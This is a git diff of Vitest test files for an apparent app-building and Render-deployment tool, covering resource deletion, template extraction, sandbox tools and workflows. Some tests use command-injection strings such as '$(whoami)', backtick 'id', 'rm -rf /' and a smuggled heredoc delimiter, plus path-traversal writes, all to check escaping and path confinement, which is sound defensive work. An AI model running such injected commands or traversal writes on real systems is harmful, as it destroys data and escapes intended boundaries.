expect(deletes()).toEqual([ - "DELETE /services/srv-web", - "DELETE /services/srv-api", - "DELETE /postgres/dpg-db", - "DELETE /projects/prj-shop", + expect(deleted).toEqual([ + "/services/srv-web", + "/services/srv-api", + "/postgres/dpg-db", + "/projects/prj-shop", ]); }); - // The name filter of the API is not the check. App "shop-v2" has a project - // name that starts with the project name of app "shop". - it("does not touch a project whose name only starts with the app's name", async () => { - workspace.projects = [ - { id: "prj-v2", name: "vibe-demo-shop-v2", environmentIds: ["evm-v2"] }, - ]; - workspace.services = { - "evm-v2": [{ id: "srv-v2", name: "vibe-demo-shop-v2-web" }], - }; - - await expect(settle(deleteAppResources(APP, OPTIONS))).resolves.toEqual([]); - expect(deletes()).toEqual([]); - }); - - it("keeps a resource that the factory did not name, and the project with it", async () => { + it("keeps a resource the factory did not name, and fails without deleting the project", async () => { workspace.services["evm-shop"].push({ id: "srv-grafana", name: "grafana" }); await expect(settle(deleteAppResources(APP, OPTIONS))).rejects.toThrow( - "Project vibe-demo-shop also holds grafana, which the factory did not create.", + "also holds grafana", ); - expect(deletes()).toEqual([ - "DELETE /services/srv-web", - "DELETE /services/srv-api", - "DELETE /postgres/dpg-db", - ]); - expect(events("warn")).toEqual([ - { - event: "render_resource_kept", - id: "srv-grafana", - name: "grafana", - collection: "services", - }, - ]); + expect(deleted).not.toContain("/services/srv-grafana"); + expect(deleted).not.toContain("/projects/prj-shop"); }); // A new attempt of a delete finds what an earlier attempt deleted. it("counts a resource that is already gone as deleted", async () => { - workspace.deletes["/services/srv-web"] = [404]; + workspace.deleteStatus["/services/srv-web"] = 404; - await expect(settle(deleteAppResources(APP, OPTIONS))).resolves.toContain( + expect(await settle(deleteAppResources(APP, OPTIONS))).toContain( "vibe-demo-shop-web", ); - expect(deletes()).toContain("DELETE /projects/prj-shop"); - }); - - it("tries the project again when Render answers that it is not empty", async () => { - workspace.deletes["/projects/prj-shop"] = [409, 409]; - - await settle(deleteAppResources(APP, OPTIONS)); - - expect( - deletes().filter((request) => request === "DELETE /projects/prj-shop"), - ).toHaveLength(3); - expect( - events("log") - .filter(({ event }) => event === "render_project_not_empty") - .map(({ attempt }) => attempt), - ).toEqual([1, 2]); + expect(deleted).toContain("/projects/prj-shop"); }); +}); - it("stops when Render refuses to delete a resource", async () => { - workspace.deletes["/services/srv-api"] = [403]; +/** + * From the delete's commit on, the Blueprint does not declare the app, so + * only an unfinished sync of an earlier commit can bring a resource back. + */ +describe("waitForBlueprintSyncs", () => { + it("waits until no sync is pending or running", async () => { + workspace.syncStates = ["pending", "running", "success"]; - await expect(settle(deleteAppResources(APP, OPTIONS))).rejects.toThrow( - "Render did not delete vibe-demo-shop-api (403)", + await settle( + waitForBlueprintSyncs("exs-apps", { pushedAt: null, timeoutMs: 60_000 }), ); - expect(deletes()).not.toContain("DELETE /postgres/dpg-db"); - expect(deletes()).not.toContain("DELETE /projects/prj-shop"); - }); - it("deletes nothing for an app that has no project", async () => { - workspace.projects = []; - - await expect(settle(deleteAppResources(APP, OPTIONS))).resolves.toEqual([]); - expect(deletes()).toEqual([]); - expect(events("log")).toEqual([ - { event: "render_project_not_found", name: "vibe-demo-shop" }, - ]); + expect(syncReads).toBe(3); }); - // The Workflows logs are the record of what the factory deleted. - it("logs each resource and the project that it deletes", async () => { - await settle(deleteAppResources(APP, OPTIONS)); - - expect(events("log")).toEqual([ - expect.objectContaining({ - event: "render_resource_deleted", - id: "srv-web", - }), - expect.objectContaining({ - event: "render_resource_deleted", - id: "srv-api", - }), - expect.objectContaining({ - event: "render_resource_deleted", - id: "dpg-db", - }), - expect.objectContaining({ - event: "render_project_deleted", - id: "prj-shop", - }), - ]); - }); -}); + it("fails when a sync does not finish before its timeout", async () => { + workspace.syncStates = ["running"]; -describe("the Render API calls", () => { - it("send the API key and only the workspace of the factory", async () => { - await settle(waitForBlueprintSyncs("exs-apps", WAIT)); - await settle(deleteAppResources(APP, OPTIONS)); - - const calls = vi.mocked(fetch).mock.calls; - expect(calls.length).toBeGreaterThan(0); - for (const [input, init] of calls) { - expect(new Headers(init?.headers).get("authorization")).toBe( - "Bearer rnd_test", - ); - const url = new URL(String(input)); - if ( - !url.pathname.startsWith("/v1/blueprints/") && - init?.method !== "DELETE" - ) { - expect(url.searchParams.get("ownerId")).toBe("tea-test"); - } - } + await expect( + settle( + waitForBlueprintSyncs("exs-apps", { + pushedAt: null, + timeoutMs: 60_000, + }), + ), + ).rejects.toThrow("did not finish"); }); }); diff --git a/tests/templates.test.ts b/tests/templates.test.ts index d68eab0..20d58c1 100644 --- a/tests/templates.test.ts +++ b/tests/templates.test.ts @@ -1,135 +1,112 @@ /** - * The template is only worth having if it stays true. These assertions pin the - * three ways it can rot without anything else noticing: files going missing, - * the extraction script mangling them on the way into the sandbox, and the + * The template is only worth having if it stays true. These pin the three + * ways it can rot without anything else noticing: files going missing, the + * extraction script mangling them on the way into the sandbox, and the * template drifting away from the manifest the builder is told to return. */ +import { execFileSync } from "node:child_process"; +import { mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { describe, expect, it } from "vitest"; -import { builder } from "../app/agents.js"; -import { extractionScript, readTemplate } from "../app/templates.js"; import { templateLines } from "../app/build.js"; +import { extractionScript, readTemplate } from "../app/templates.js"; const files = await readTemplate("fullstack"); const byPath = new Map(files.map((file) => [file.path, file.contents])); -function json(path: string): Record { +function read(path: string): string { const contents = byPath.get(path); - if (!contents) throw new Error(`${path} is missing from the template`); - return JSON.parse(contents); + if (contents === undefined) + throw new Error(`${path} is missing from the template`); + return contents; } -describe("readTemplate", () => { - it("reads both tiers", () => { - expect(byPath.has("web/src/App.tsx")).toBe(true); - expect(byPath.has("api/src/index.ts")).toBe(true); - expect(byPath.has("api/sql/schema.sql")).toBe(true); - expect(byPath.has("api/sql/seed.sql")).toBe(true); - }); - - // The builder is told to run `npm ci`, which fails outright without one. - it("ships a lockfile for each tier", () => { - expect(byPath.has("web/package-lock.json")).toBe(true); - expect(byPath.has("api/package-lock.json")).toBe(true); - }); - - // Anyone who builds a template locally leaves artifacts behind, and they - // would otherwise ship into every generated app. - it("leaves out what the sandbox installs or builds", () => { - const leaked = files - .map((file) => file.path) - .filter( - (path) => - path.includes("node_modules") || - path.includes("/dist/") || - path.endsWith(".tsbuildinfo"), - ); - expect(leaked).toEqual([]); - }); -}); - -describe("the manifest the builder is told to return", () => { - it("matches the scripts the template actually defines", () => { - expect(json("web/package.json").scripts).toMatchObject({ - build: expect.stringContaining("vite build"), - }); - expect(json("api/package.json").scripts).toMatchObject({ - build: expect.any(String), - migrate: expect.any(String), - start: expect.any(String), - }); - }); - - it("serves the health and data endpoints the manifest names", () => { - const api = byPath.get("api/src/index.ts") ?? ""; - expect(api).toContain('"/health"'); - expect(api).toContain('"/api/items"'); - }); - - // The storefront and the API are different onrender.com origins, so without - // this every browser request fails while every server-side check passes. - it("enables CORS on the API", () => { - expect(byPath.get("api/src/index.ts")).toContain("cors()"); - }); - - // RENDER_EXTERNAL_HOSTNAME is a hostname, not a URL. Without the fallback, - // a build that passes would write "undefined" into the bundle. - it("builds the API base URL from a hostname, with a fallback", () => { - const api = byPath.get("web/src/lib/api.ts") ?? ""; - expect(api).toContain("VITE_API_HOST"); - expect(api).toMatch(/https:\/\/\$\{host\}/); - expect(api).toMatch(/host \?.*:.*http/s); - }); - - // `property: host` is a name on the private network, and a browser cannot - // connect to it. api.ts above expects the public hostname. - it("wires VITE_API_HOST to the public hostname of the API", () => { - expect(templateLines(files.map((file) => file.path))).toMatch( - /VITE_API_HOST fromService api\s+envVarKey RENDER_EXTERNAL_HOSTNAME/, - ); - expect(builder.prompt).toContain( - '{ "key": "VITE_API_HOST", "fromService": { "name": "api", "envVarKey": "RENDER_EXTERNAL_HOSTNAME" } }', +describe("the fullstack template", () => { + // A local build leaves node_modules and dist behind, and they would ship + // into every generated app. + it("reads both tiers from disk, with their lockfiles and without dependencies or build output", () => { + const paths = files.map((file) => file.path); + + expect(paths).toEqual( + expect.arrayContaining([ + "web/package-lock.json", + "web/src/App.tsx", + "api/package-lock.json", + "api/src/index.ts", + "api/sql/schema.sql", + "api/sql/seed.sql", + ]), ); - expect(builder.prompt).not.toContain('"property": "host"'); - }); - - // preDeployCommand runs on every deploy, including redeploys of an - // unchanged commit. - it("has an idempotent schema and a non-empty seed", () => { - expect(byPath.get("api/sql/schema.sql")).toMatch(/create table if not exists/i); - expect(byPath.get("api/sql/seed.sql")).toMatch(/on conflict/i); - expect(byPath.get("api/sql/seed.sql")).toMatch(/insert into/i); - }); -}); - -describe("extractionScript", () => { - const script = extractionScript(files, "/home/user/repo/apps/demo/shop"); - - it("creates nested directories before writing into them", () => { - expect(script).toContain("cd '/home/user/repo/apps/demo/shop'"); - expect(script).toMatch(/^mkdir -p .*'api\/sql'/m); - expect(script).toMatch(/^mkdir -p .*'web\/src\/components\/ui'/m); + expect( + paths.filter((path) => + /(^|\/)(node_modules|dist)\/|\.tsbuildinfo$/.test(path), + ), + ).toEqual([]); }); - it("writes every file exactly once", () => { - for (const file of files) { - expect(script).toContain(`cat > '${file.path}' <<'FACTORY_TEMPLATE_EOF'`); + // Quoted heredocs: the template's ${...} in TypeScript and SQL must not be + // expanded by the shell on the way in. + it("has an extraction script that recreates every file byte for byte", () => { + const dir = mkdtempSync(join(tmpdir(), "template-test-")); + try { + const app = join(dir, "apps", "demo", "shop"); + execFileSync("mkdir", ["-p", app]); + execFileSync("sh", ["-c", extractionScript(files, app)]); + + for (const file of files) { + // A heredoc always ends its last line. + const expected = file.contents.endsWith("\n") + ? file.contents + : `${file.contents}\n`; + expect(readFileSync(join(app, file.path), "utf8"), file.path).toBe( + expected, + ); + } + } finally { + rmSync(dir, { recursive: true, force: true }); } - expect(script.match(/^cat > /gm)).toHaveLength(files.length); - }); - - // An unquoted heredoc would let the shell expand ${...} and $( ) in JSX and - // SQL on the way in. - it("quotes every heredoc so nothing is expanded", () => { - expect(script.match(/<<'FACTORY_TEMPLATE_EOF'/g)).toHaveLength(files.length); - expect(script).not.toMatch(/< { - expect(() => - extractionScript( - [{ path: "a.txt", contents: "before\nFACTORY_TEMPLATE_EOF\nrm -rf /" }], - "/tmp/x", - ), - ).toThrow(/heredoc delimiter/); + it("matches the manifest that the builder is told to return", () => { + const manifest = templateLines(files.map((file) => file.path)); + const value = (pattern: RegExp) => { + const match = manifest.match(pattern); + if (!match) throw new Error(`The manifest has no ${pattern}`); + return match[1]; + }; + const scripts = (dir: string) => + JSON.parse(read(`${dir}/package.json`)).scripts as Record; + + // Each rootDir is a tier, and npm ci needs its lockfile. + const web = value(/web: static_site, rootDir (\S+),/); + const api = value(/api: web_service, rootDir (\S+),/); + for (const dir of [web, api]) { + expect(byPath.has(`${dir}/package-lock.json`), dir).toBe(true); + } + expect(manifest).toContain("build `npm ci && npm run build`"); + expect(scripts(web).build).toContain("vite build"); + expect(scripts(api).build).toBeTruthy(); + + // Vite writes dist unless the config says otherwise. + expect(value(/staticPublishPath (\S+),/)).toBe("dist"); + expect(read(`${web}/vite.config.ts`)).not.toContain("outDir"); + + expect( + scripts(api)[value(/preDeployCommand `npm run (\S+)`/)], + ).toBeTruthy(); + expect(manifest).toContain("start `npm start`"); + expect(scripts(api).start).toBeTruthy(); + + const server = read(`${api}/src/index.ts`); + expect(server).toContain(`"${value(/healthCheckPath (\S+),/)}"`); + expect(server).toContain(`"${value(/dataCheckPath (\S+),/)}"`); + + expect(read(`${web}/src/lib/api.ts`)).toContain( + value(/envVar (\S+) fromService api/), + ); + expect(manifest).toContain( + `Files: ${files.map((file) => file.path).join(", ")}`, + ); }); }); diff --git a/tests/tools.test.ts b/tests/tools.test.ts index 2d149c7..e3c1816 100644 --- a/tests/tools.test.ts +++ b/tests/tools.test.ts @@ -1,217 +1,211 @@ -import { describe, expect, it, vi } from "vitest"; -import type { ExecResult, Sandbox } from "../app/sandbox.js"; +import { execSync } from "node:child_process"; import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + realpathSync, + rmSync, + writeFileSync, +} from "node:fs"; +import { dirname, join } from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { type ExecResult, type Sandbox, shellEscape } from "../app/sandbox.js"; +import { + MAX_OUTPUT_CHARS, sandboxApplyPatch, sandboxExec, - sandboxListDir, - sandboxReadFile, - sandboxSearch, + sandboxExecTool, sandboxWriteFile, type ToolContext, } from "../app/tools.js"; -const APP_DIR = "/home/user/repo/apps/demo/shop"; - -function context(sandbox: Partial, workDir = APP_DIR): ToolContext { - return { sandbox: sandbox as Sandbox, workDir }; -} - -type RunFn = (command: string) => Promise; - -/** Typed so assertions can read back the command that was run. */ -const runMock = (output: string, exitCode = 0) => - vi.fn(async () => ({ output, exitCode })); - -describe("sandbox__exec", () => { - it("returns command output on success", async () => { - const run = runMock("all tests passed"); - const out = await sandboxExec.invoke( - { command: "npm test" }, - context({ run }), +/** + * A git hook that runs the tests sets GIT_DIR, which would send git apply to + * the outer repository. + */ +const env = Object.fromEntries( + Object.entries(process.env).filter(([key]) => !key.startsWith("GIT_")), +); + +/** + * A sandbox that runs each command in a real shell on this machine. macOS has + * no coreutils `timeout`, so the fake unwraps it and can simulate its 124 exit. + */ +function localSandbox(timedOutCommand?: string) { + const uploaded: string[] = []; + const commands: string[] = []; + const run = async (wrapped: string): Promise => { + commands.push(wrapped); + if ( + timedOutCommand && + wrapped.includes(`sh -c ${shellEscape(timedOutCommand)}`) + ) { + return { output: "", exitCode: 124 }; + } + const command = wrapped.replace( + /timeout --signal=TERM --kill-after=5s [0-9.]+s sh -c /, + "sh -c ", ); + try { + return { + output: execSync(command, { encoding: "utf8", env, stdio: "pipe" }), + exitCode: 0, + }; + } catch (error) { + const failed = error as { + status?: number; + stdout?: string; + stderr?: string; + }; + return { + output: `${failed.stdout ?? ""}${failed.stderr ?? ""}`, + exitCode: failed.status ?? 1, + }; + } + }; + const sandbox = { + run, + async upload(path: string, data: string) { + uploaded.push(path); + writeFileSync(path, data); + }, + async writeFile(path: string, data: string) { + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, data); + }, + } as unknown as Sandbox; + return { sandbox, uploaded, commands }; +} - expect(out.content).toBe("all tests passed"); - expect(out.isError).toBe(false); - }); +describe("sandbox tools", () => { + const temporary: string[] = []; - /** - * The exec API starts in `/`. A run once built an entire application from - * relative paths, landing it in `/root` — outside the checkout, so the - * commit found nothing and no stage reported a failure. - */ - it("runs from the app directory when given no cwd", async () => { - const run = runMock(""); - await sandboxExec.invoke({ command: "mkdir -p web" }, context({ run })); - - expect(run.mock.calls[0][0]).toBe( - "cd '/home/user/repo/apps/demo/shop' && mkdir -p web", - ); + afterEach(() => { + for (const dir of temporary.splice(0)) { + rmSync(dir, { recursive: true, force: true }); + } }); - it("resolves a relative cwd against the app directory", async () => { - const run = runMock(""); - await sandboxExec.invoke( - { command: "npm ci", cwd: "api" }, - context({ run }), + /** An app directory inside a parent that stands for the apps repository. */ + function context( + timedOutCommand?: string, + ): ToolContext & { uploaded: string[]; commands: string[]; repo: string } { + // Keep this outside /tmp. The tool deliberately permits /tmp as scratch, + // so a repository created there cannot test an absolute path escape. + const repo = realpathSync( + mkdtempSync(join(dirname(process.cwd()), ".tools-test-")), ); - - expect(run.mock.calls[0][0]).toBe( - "cd '/home/user/repo/apps/demo/shop/api' && npm ci", + temporary.push(repo); + const workDir = join(repo, "apps/demo/shop"); + mkdirSync(workDir, { recursive: true }); + const { sandbox, uploaded, commands } = localSandbox(timedOutCommand); + return { sandbox, workDir, uploaded, commands, repo }; + } + + it("resolves a relative path against the app directory and rejects a path outside it and /tmp", async () => { + const ctx = context(); + + const wrote = await sandboxWriteFile.invoke( + { path: "src/x.ts", content: "export {};" }, + ctx, ); - }); - - it.each([ - "/root", - "/home/user/repo/../../etc", - "../../../../../../root", - // The rest of the apps repository is not part of the app. - "/home/user/repo", - "../../victim/site", - ])("refuses to run in %s", async (cwd) => { - const run = runMock(""); - const out = await sandboxExec.invoke( - { command: "npm ci", cwd }, - context({ run }), + expect(wrote.isError).toBeUndefined(); + expect(readFileSync(join(ctx.workDir, "src/x.ts"), "utf8")).toBe( + "export {};", ); - expect(out.isError).toBe(true); - expect(out.content).toContain("outside the app directory"); - expect(run).not.toHaveBeenCalled(); + for (const path of [ + "../../victim/site/index.html", + `${ctx.repo}/render.yaml`, + ]) { + const refused = await sandboxWriteFile.invoke( + { path, content: "planted" }, + ctx, + ); + expect(refused.isError).toBe(true); + } + expect(existsSync(join(ctx.repo, "apps/victim"))).toBe(false); + expect(existsSync(join(ctx.repo, "render.yaml"))).toBe(false); }); - it("reports a non-zero exit as a tool error with its exit code", async () => { - const run = runMock("1 failing", 1); - const out = await sandboxExec.invoke( - { command: "npm test" }, - context({ run }), - ); + // The exec API starts in `/`. A run once built a whole app from relative + // paths outside the directory that gets committed. + it("runs sandbox__exec from the app directory and reports a non-zero exit as an error", async () => { + const ctx = context(); - expect(out.isError).toBe(true); - expect(out.content).toContain("Exit code: 1"); - expect(out.content).toContain("1 failing"); - }); - - it("runs inside an absolute cwd inside the checkout", async () => { - const run = runMock(""); - await sandboxExec.invoke( - { command: "ls", cwd: "/home/user/repo/apps/demo/shop/web" }, - context({ run }), - ); + const pwd = await sandboxExec.invoke({ command: "pwd" }, ctx); + expect(pwd).toEqual({ content: `${ctx.workDir}\n`, isError: false }); - expect(run.mock.calls[0][0]).toBe( - "cd '/home/user/repo/apps/demo/shop/web' && ls", + const failed = await sandboxExec.invoke( + { command: "echo '1 failing'; exit 3" }, + ctx, ); + expect(failed.isError).toBe(true); + expect(failed.content).toContain("Exit code: 3"); + expect(failed.content).toContain("1 failing"); }); -}); - -describe("sandbox file tools", () => { - it("reads a file", async () => { - const readFile = vi.fn(async () => "export const x = 1;"); - const out = await sandboxReadFile.invoke( - { path: "src/x.ts" }, - context({ readFile }), - ); - expect(readFile).toHaveBeenCalledWith(`${APP_DIR}/src/x.ts`); - expect(out.content).toBe("export const x = 1;"); - }); + it("terminates a sandbox__exec command that does not exit", async () => { + const ctx = context("sleep 10"); + const execWithShortTimeout = sandboxExecTool(0.05); - it("writes relative paths into the app directory", async () => { - const writeFile = vi.fn(async () => undefined); - const out = await sandboxWriteFile.invoke( - { path: "src/x.ts", content: "hello" }, - context({ writeFile }), + const started = Date.now(); + const timedOut = await execWithShortTimeout.invoke( + { command: "sleep 10" }, + ctx, ); - expect(writeFile).toHaveBeenCalledWith(`${APP_DIR}/src/x.ts`, "hello"); - expect(out.content).toContain("Wrote 5 bytes"); + expect(Date.now() - started).toBeLessThan(2_000); + expect(ctx.commands[0]).toContain( + "timeout --signal=TERM --kill-after=5s 0.05s sh -c", + ); + expect(timedOut).toEqual({ + content: "Command timed out after 0.05 seconds.", + isError: true, + }); }); - it.each(["/root/index.html", "../../victim/site/index.html"])( - "refuses to write %s, outside the app directory", - async (path) => { - const writeFile = vi.fn(async () => undefined); - const out = await sandboxWriteFile.invoke( - { path, content: "hello" }, - context({ writeFile }), - ); + it("applies a patch with sandbox__apply_patch and removes the patch file whether it applies or not", async () => { + const ctx = context(); + writeFileSync(join(ctx.workDir, "index.html"), "old\n"); + const diff = + "--- a/index.html\n+++ b/index.html\n@@ -1 +1 @@\n-old\n+new\n"; - expect(out.isError).toBe(true); - expect(writeFile).not.toHaveBeenCalled(); - }, - ); + const applied = await sandboxApplyPatch.invoke({ diff }, ctx); + expect(applied.isError).toBeUndefined(); + expect(readFileSync(join(ctx.workDir, "index.html"), "utf8")).toBe("new\n"); - it("defaults list_dir to the app directory", async () => { - const listDir = vi.fn(async () => ["a.ts", "b/"]); - const out = await sandboxListDir.invoke({}, context({ listDir })); + const rejected = await sandboxApplyPatch.invoke({ diff }, ctx); + expect(rejected.isError).toBe(true); + expect(rejected.content).toContain("Patch failed"); - expect(listDir).toHaveBeenCalledWith(APP_DIR); - expect(out.content).toBe("a.ts\nb/"); + expect(ctx.uploaded).toHaveLength(2); + for (const path of ctx.uploaded) expect(existsSync(path)).toBe(false); }); - it("describes an empty directory rather than returning nothing", async () => { - const listDir = vi.fn(async () => []); - const out = await sandboxListDir.invoke( - { path: "empty" }, - context({ listDir }), - ); - expect(out.content).toBe("(empty directory)"); - }); -}); + it("truncates output past the limit", async () => { + const ctx = context(); -describe("sandbox__search", () => { - it("treats ripgrep exit 1 as no matches, not a failure", async () => { - const run = runMock("", 1); - const out = await sandboxSearch.invoke( - { pattern: "nope" }, - context({ run }), - ); - - expect(out.content).toBe("(no matches)"); - expect(out.isError).toBeUndefined(); - }); - - it("reports a real ripgrep failure as an error", async () => { - const run = runMock("bad pattern", 2); - const out = await sandboxSearch.invoke({ pattern: "[" }, context({ run })); - expect(out.isError).toBe(true); - }); - - it("passes an include glob through to ripgrep", async () => { - const run = runMock("src/x.ts:1:hit"); - await sandboxSearch.invoke( - { pattern: "hit", include: "*.ts" }, - context({ run }), + const out = await sandboxExec.invoke( + { command: `head -c ${MAX_OUTPUT_CHARS + 1000} /dev/zero | tr '\\0' a` }, + ctx, ); - expect(run.mock.calls[0][0]).toContain("'--glob' '*.ts'"); + expect(out.content.startsWith("a".repeat(MAX_OUTPUT_CHARS))).toBe(true); + expect(out.content).toContain("truncated, 1000 chars omitted"); }); }); -describe("sandbox__apply_patch", () => { - it("uploads the diff and applies it", async () => { - const upload = vi.fn(async () => undefined); - const run = runMock(""); - const out = await sandboxApplyPatch.invoke( - { diff: "--- a\n+++ b\n" }, - context({ upload, run }), - ); +describe("shellEscape", () => { + // Model output, branch names, and file paths all reach a shell. + it("passes any string through a real shell as one argument", () => { + const value = `it's "$(whoami)" \`id\` $HOME; rm -rf / && echo\nnext line\\`; - expect(upload).toHaveBeenCalledOnce(); - expect(run.mock.calls[0][0]).toContain("git apply --whitespace=nowarn"); - expect(out.content).toBe("Patch applied successfully."); - }); - - it("surfaces a rejected patch as an error", async () => { - const out = await sandboxApplyPatch.invoke( - { diff: "garbage" }, - context({ - upload: vi.fn(async () => undefined), - run: runMock("does not apply", 1), - }), - ); + const echoed = execSync(`printf '%s|' ${shellEscape(value)}`, { + encoding: "utf8", + }); - expect(out.isError).toBe(true); - expect(out.content).toContain("does not apply"); + expect(echoed).toBe(`${value}|`); }); }); diff --git a/tests/workflow.test.ts b/tests/workflow.test.ts index 24d9400..72ce0d2 100644 --- a/tests/workflow.test.ts +++ b/tests/workflow.test.ts @@ -1,15 +1,14 @@ /** - * The pipelines in app/workflow.ts. No test calls a live service: the agents, - * the store, Git commit and push, the Render reads, and the Render deletes are - * fakes. + * The two pipelines in app/workflow.ts, end to end: prompt-to-app (design, + * build, verify, publish, deploy) and delete-app. The tests drive the task + * bodies and fake only the system boundaries: the agents, the store, the + * sandboxes, Git clone and push, GitHub, Render reads, and Render deletes. */ import { type TaskContext, TaskRegistry } from "@renderinc/sdk/workflows"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { parse } from "yaml"; import { appPath, factoryConfig } from "../factory.config.js"; -import { rootBlueprint } from "../app/blueprint.js"; import type { AppSpec, Manifest, Service } from "../app/contracts.js"; -import type { AppFile } from "../app/git.js"; +import type { AppFile } from "../app/files.js"; import type { DeployOutcome } from "../app/render.js"; import type { ExecResult, Sandbox } from "../app/sandbox.js"; import type { AppClaim } from "../app/store.js"; @@ -19,10 +18,10 @@ import { removeFromBlueprintTask, waitForSyncsTask, } from "../app/delete.js"; -import { awaitDeployment } from "../app/deploy.js"; +import { awaitDeployment, type DeployContext } from "../app/deploy.js"; import { publishAppTask } from "../app/publish.js"; -import { checkStaticSiteEnvVars, verifyAppTask } from "../app/verify.js"; -import { deleteApp, promptToApp, removeApp } from "../app/workflow.js"; +import { verifyAppTask } from "../app/verify.js"; +import { deleteApp, promptToApp } from "../app/workflow.js"; const mocks = vi.hoisted(() => ({ architectTask: vi.fn(), @@ -38,6 +37,7 @@ const mocks = vi.hoisted(() => ({ connectSandbox: vi.fn(), fetchDeployLogs: vi.fn(), findBlueprint: vi.fn(), + latestDeploys: vi.fn(async () => new Map()), pageContains: vi.fn(), waitForServices: vi.fn(), waitForDeploy: vi.fn(), @@ -48,8 +48,6 @@ const mocks = vi.hoisted(() => ({ deleteRuns: vi.fn(async () => {}), failDelete: vi.fn(async () => {}), finishRun: vi.fn(async () => {}), - setRunSandbox: vi.fn(async () => {}), - sandboxGroupId: vi.fn(async (): Promise => "sbg-test"), })); vi.mock("../app/agents.js", () => ({ @@ -58,57 +56,31 @@ vi.mock("../app/agents.js", () => ({ deployManagerTask: { name: "deploy-manager", func: mocks.deployManagerTask }, })); -/** - * Runs each subtask in this process, with the body of its task definition. As - * on Render, the input and the result go through JSON. - */ -const tasks: TaskContext = { - run: async (task, ...args) => wire(await task.func(tasks, ...wire(args))), -}; - -function wire(value: T): T { - return value === undefined ? value : JSON.parse(JSON.stringify(value)); -} - -/** Runs each subtask as `tasks` does, and records its name and its input. */ -function recordSubtasks(): { - context: TaskContext; - runs: { name: string; input: unknown }[]; -} { - const runs: { name: string; input: unknown }[] = []; - return { - runs, - context: { - run: (task, ...args) => { - runs.push({ name: task.name, input: args[0] }); - return tasks.run(task, ...args); - }, - }, - }; -} - vi.mock("../app/store.js", () => ({ claimRunApp: mocks.claimRunApp, deleteRuns: mocks.deleteRuns, failDelete: mocks.failDelete, finishRun: mocks.finishRun, setDeleteProgress: vi.fn(async () => {}), - setRunSandbox: mocks.setRunSandbox, + setRunSandbox: vi.fn(async () => {}), setRunStage: vi.fn(async () => {}), setRunUrls: vi.fn(async () => {}), touchRun: vi.fn(async () => {}), })); -// Commit and push go to GitHub. The copy of the files of an app is a fake -// that moves files between two fake sandboxes: tests/git.test.ts runs the -// real one with git and tar. The verification commands stay real and go to -// the fake sandbox. +// tests/git.test.ts and tests/files.test.ts run the real commit, push, and +// tar copy. Here the copy moves files between two fake sandboxes. vi.mock("../app/git.js", async (importOriginal) => ({ ...(await importOriginal()), commitPaths: mocks.commitPaths, pushVerified: mocks.pushVerified, - githubToken: mocks.githubToken, cloneAppsRepo: mocks.cloneAppsRepo, +})); + +vi.mock("../app/github.js", () => ({ githubToken: mocks.githubToken })); + +vi.mock("../app/files.js", async (importOriginal) => ({ + ...(await importOriginal()), readAppFiles: mocks.readAppFiles, writeAppFiles: mocks.writeAppFiles, })); @@ -117,7 +89,7 @@ vi.mock("../app/sandbox.js", async (importOriginal) => ({ ...(await importOriginal()), createSandbox: mocks.createSandbox, connectSandbox: mocks.connectSandbox, - sandboxGroupId: mocks.sandboxGroupId, + sandboxGroupId: vi.fn(async () => "sbg-test"), })); vi.mock("../app/teardown.js", () => ({ @@ -129,16 +101,30 @@ vi.mock("../app/render.js", async (importOriginal) => ({ ...(await importOriginal()), fetchDeployLogs: mocks.fetchDeployLogs, findBlueprint: mocks.findBlueprint, + latestDeploys: mocks.latestDeploys, pageContains: mocks.pageContains, waitForServices: mocks.waitForServices, waitForDeploy: mocks.waitForDeploy, waitForHttpOk: mocks.waitForHttpOk, })); -const PRIVATE_NETWORK_PROPERTIES = ["host", "port", "hostport"]; +/* ── Fixtures ─────────────────────────────────────────────────────────── */ + +const INPUT = { + prompt: "Sell handmade walnut furniture online", + user: "demo", + runId: "run-1", +}; +const SHOP_APP = { user: "demo", appName: "shop" }; +const APP_DIR = appPath("demo", "shop"); +const APP_SPEC = `${APP_DIR}/factory.json`; +const APP_SOURCE = `${APP_DIR}/web/index.html`; +const ROOT_BLUEPRINT = `${factoryConfig.repoDir}/${factoryConfig.blueprintPath}`; +const STOREFRONT_HTML = `${"

    Walnut chairs, oak tables, and ash stools, made by hand in Portland.

    ".repeat(5)}`; +const SHA = "c".repeat(40); const storefront: Service = { - name: "storefront", + name: "web", kind: "static_site", rootDir: "web", runtime: "static", @@ -153,93 +139,20 @@ const api: Service = { runtime: "node", buildCommand: "npm ci && npm run build", startCommand: "npm start", + preDeployCommand: "npm run migrate", + healthCheckPath: "/health", + dataCheckPath: "/api/items", + envVars: [ + { key: "DATABASE_URL", fromDatabase: { property: "connectionString" } }, + ], }; -/** - * A browser uses the env vars of a static site, and a static site is not on - * Render's private network. Verification must find a private-network value - * before the push. After the push, the Blueprint creates every resource. - */ -describe("checkStaticSiteEnvVars", () => { - it.each(PRIVATE_NETWORK_PROPERTIES)( - "rejects fromService property %s on a static site", - (property) => { - const failures = checkStaticSiteEnvVars({ - ...storefront, - envVars: [ - { key: "VITE_API_HOST", fromService: { name: "api", property } }, - ], - }); - - expect(failures).toHaveLength(1); - expect(failures[0]).toMatch(/^storefront: envVar VITE_API_HOST /); - expect(failures[0]).toContain( - "A browser cannot connect to a private-network name.", - ); - expect(failures[0]).toContain( - `Replace property ${property} with envVarKey RENDER_EXTERNAL_HOSTNAME`, - ); - }, - ); - - it("accepts the public hostname of the API on a static site", () => { - expect( - checkStaticSiteEnvVars({ - ...storefront, - envVars: [ - { - key: "VITE_API_HOST", - fromService: { name: "api", envVarKey: "RENDER_EXTERNAL_HOSTNAME" }, - }, - ], - }), - ).toEqual([]); - }); - - // Services connect to each other on the private network. - it.each(PRIVATE_NETWORK_PROPERTIES)( - "accepts fromService property %s on a web service", - (property) => { - expect( - checkStaticSiteEnvVars({ - ...api, - envVars: [ - { key: "SEARCH_HOST", fromService: { name: "search", property } }, - ], - }), - ).toEqual([]); - }, - ); -}); - -const APP_DIR = appPath("demo", "shop"); -const APP_SPEC = `${APP_DIR}/factory.json`; -const APP_BLUEPRINT = `${APP_DIR}/render.yaml`; -const ROOT_BLUEPRINT = `${factoryConfig.repoDir}/${factoryConfig.blueprintPath}`; -const API_URL = "https://acme-demo-shop-api.onrender.com"; - -const STOREFRONT_HTML = `${"

